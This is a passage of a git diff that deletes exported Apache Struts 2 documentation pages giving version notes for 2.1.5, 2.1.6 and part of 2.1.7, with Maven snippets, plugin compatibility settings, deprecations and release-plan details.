-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.1.5</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-215.html">Version Notes 2.1.5</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.1.5</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=106462">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=106462">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=106462">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=106462">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=106462">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=106462">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.1.5 build.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes on the the prior release series, see <a shape="rect" href="version-notes-214.html">Version Notes 2.1.4</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-    &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-      &lt;version&gt;2.1.5&lt;/version&gt;
-&lt;/dependency&gt;</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Snapshot Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.snapshots&lt;/id&gt;
-    &lt;name&gt;ASF Maven 2 Snapshot&lt;/name&gt;
-    &lt;url&gt;http://people.apache.org/repo/m2-snapshot-repository&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="VersionNotes2.1.5-Backwardcompatibilityissueswithpreviousversions">Backward compatibility issues with previous versions</h2>
-
-<ul><li>Since 2.1.3: This settings need to be added to struts.xml to make the REST plugin work with the Codebehind plugin:
- <div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;constant name="struts.codebehind.classSuffix" value="Controller"/&gt;
-&lt;constant name="struts.codebehind.action.checkImplementsAction" value="false"/&gt;
-&lt;constant name="struts.codebehind.action.checkAnnotation" value="false"/&gt;
-&lt;constant name="struts.codebehind.action.defaultMethodName" value="index"/&gt;
-&lt;constant name="struts.configuration.classpath.defaultParentPackage" value="rest-default" /&gt;
- </pre>
-</div></div></li><li>Since 2.1.3: includeParams will default to <strong>none</strong></li><li>Since 2.1.3: cssClass and cssStyle attributes will be applied to the ul tags, instead of li in actionerror,actionmessage and fielderror tags</li><li>Since 2.1.0: All default result names and interceptor names are now in camelCase (eg. was redirect-action, is now redirectAction)</li><li>Since 2.1.0: The "ajax" theme is provided by the Dojo Plugin. Applications using the ajax theme must include th [...]
-
-
-<h2 id="VersionNotes2.1.5-NewFeaturesandPlugins">New Features and Plugins</h2>
-<ul><li>Javatemplates plugin available (Since 2.1.3)</li><li>Convention plugin available (Since 2.1.3)</li><li>JUnit support moved to plugin (Since 2.1.1)</li><li>TestNG support moved to plugin (Since 2.1.1)</li><li>DWR support moved to plugin (Since 2.1.1)</li><li>Portlet support moved to plugin (Since 2.1.0)</li></ul>
-
-
-<h2 id="VersionNotes2.1.5-DeprecatedFeaturesandPlugins">Deprecated Features and Plugins</h2>
-<ul><li>Ajax tags were refactored into the Dojo plugin which has been deprecated (Since 2.1.3)</li><li>Codebehind plugin has been deprecated (Since 2.1.3)</li></ul>
-
-
-<h3 id="VersionNotes2.1.5-IssueDetail">Issue Detail </h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21864">JIRA Release Notes 2.1.5</a></li></ul>
-
-
-<h3 id="VersionNotes2.1.5-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?reset=true&amp;&amp;pid=10030&amp;resolution=1&amp;fixfor=21905&amp;sorter/field=priority&amp;sorter/order=DESC">Struts 2.1.5 DONE </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?reset=true&amp;mode=hide&amp;sorter/order=DESC&amp;sorter/field=priority&amp;resolution=-1&amp;pid=10030&amp;fixfor=21905">Struts 2. [...]
-
-
-<h3 id="VersionNotes2.1.5-Otherresources">Other resources </h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li><li><a shape="rect" class="external-link" href="http://cwiki.apache.org/S2WIKI/troubleshooting-guide-migrating-from-struts-20x-to-21x.html">Migrating from Struts 2.0 [...]
-
-
-<h2 id="VersionNotes2.1.5-Build/ReleasePlan">Build/Release Plan</h2>
-
-<ul><li>Struts 2.1.5 is expected to be the first GA on the 2.1 series</li><li>The Build/Release Managers is Musachy Barroso</li><li>The proposed tag date for the build is Jan 2th, 2009</li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-216.html b/content/docs/version-notes-216.html
deleted file mode 100644
index 0ae9c90..0000000
--- a/content/docs/version-notes-216.html
+++ /dev/null
@@ -1,216 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.1.6</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-216.html">Version Notes 2.1.6</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.1.6</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=106533">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=106533">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=106533">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=106533">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=106533">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=106533">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes on the the prior release series, see <a shape="rect" href="version-notes-215.html">Version Notes 2.1.5</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-    &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-      &lt;version&gt;2.1.6&lt;/version&gt;
-&lt;/dependency&gt;</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Snapshot Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.snapshots&lt;/id&gt;
-    &lt;name&gt;ASF Maven 2 Snapshot&lt;/name&gt;
-    &lt;url&gt;http://people.apache.org/repo/m2-snapshot-repository&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="VersionNotes2.1.6-Backwardcompatibilityissueswithpreviousversions">Backward compatibility issues with previous versions</h2>
-
-<ul><li>Since 2.1.3: These settings need to be added to struts.xml to make the REST plugin work with the Codebehind plugin:
- <div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;constant name="struts.codebehind.classSuffix" value="Controller"/&gt;
-&lt;constant name="struts.codebehind.action.checkImplementsAction" value="false"/&gt;
-&lt;constant name="struts.codebehind.action.checkAnnotation" value="false"/&gt;
-&lt;constant name="struts.codebehind.action.defaultMethodName" value="index"/&gt;
-&lt;constant name="struts.configuration.classpath.defaultParentPackage" value="rest-default" /&gt;
- </pre>
-</div></div>
-See <a shape="rect" href="converting-application-from-codebehind-to-convention-plugin.html">the Convention migration guide</a> for details on how to port your Codebehind based web app to the Convention plugin.</li><li>Since 2.1.3: includeParams will default to <strong>none</strong></li><li>Since 2.1.3: cssClass and cssStyle attributes will be applied to the ul tags, instead of li in actionerror,actionmessage and fielderror tags</li><li>Since 2.1.0: All default result names and intercepto [...]
-
-
-<h2 id="VersionNotes2.1.6-NewFeaturesandPlugins">New Features and Plugins</h2>
-<ul><li>Javatemplates plugin available (Since 2.1.3)</li><li>Convention plugin available (Since 2.1.3)</li><li>JUnit support moved to plugin (Since 2.1.1)</li><li>TestNG support moved to plugin (Since 2.1.1)</li><li>DWR support moved to plugin (Since 2.1.1)</li><li>Portlet support moved to plugin (Since 2.1.0)</li></ul>
-
-
-<h2 id="VersionNotes2.1.6-DeprecatedFeaturesandPlugins">Deprecated Features and Plugins</h2>
-<ul><li>Ajax tags were refactored into the Dojo plugin which has been deprecated (Since 2.1.3)</li><li>Codebehind plugin has been deprecated (Since 2.1.3)</li></ul>
-
-
-<h3 id="VersionNotes2.1.6-IssueDetail">Issue Detail </h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21906">JIRA Release Notes 2.1.6</a></li></ul>
-
-
-<h3 id="VersionNotes2.1.6-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?reset=true&amp;&amp;pid=10030&amp;resolution=1&amp;fixfor=21906&amp;sorter/field=priority&amp;sorter/order=DESC">Struts 2.1.6 DONE </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?reset=true&amp;mode=hide&amp;sorter/order=DESC&amp;sorter/field=priority&amp;resolution=-1&amp;pid=10030&amp;fixfor=21906">Struts 2. [...]
-
-
-<h3 id="VersionNotes2.1.6-Otherresources">Other resources </h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li><li><a shape="rect" class="external-link" href="http://cwiki.apache.org/S2WIKI/troubleshooting-guide-migrating-from-struts-20x-to-21x.html">Migrating from Struts 2.0 [...]
-
-
-<h2 id="VersionNotes2.1.6-Build/ReleasePlan">Build/Release Plan</h2>
-
-<ul><li>Struts 2.1.6 is expected to be the first GA on the 2.1 series</li><li>The Build/Release Managers is Musachy Barroso</li><li>The proposed tag date for the build is Jan 5th, 2009</li></ul>
-</div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-217.html b/content/docs/version-notes-217.html
deleted file mode 100644
index 26b6ad9..0000000
--- a/content/docs/version-notes-217.html
+++ /dev/null
@@ -1,208 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.1.7</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-217.html">Version Notes 2.1.7</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.1.7</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=120987">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=120987">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=120987">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=120987">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=120987">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=120987">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.1.7 distribution.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="version-notes-216.html">Version Notes 2.1.6</a></p>
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;dependency&gt;
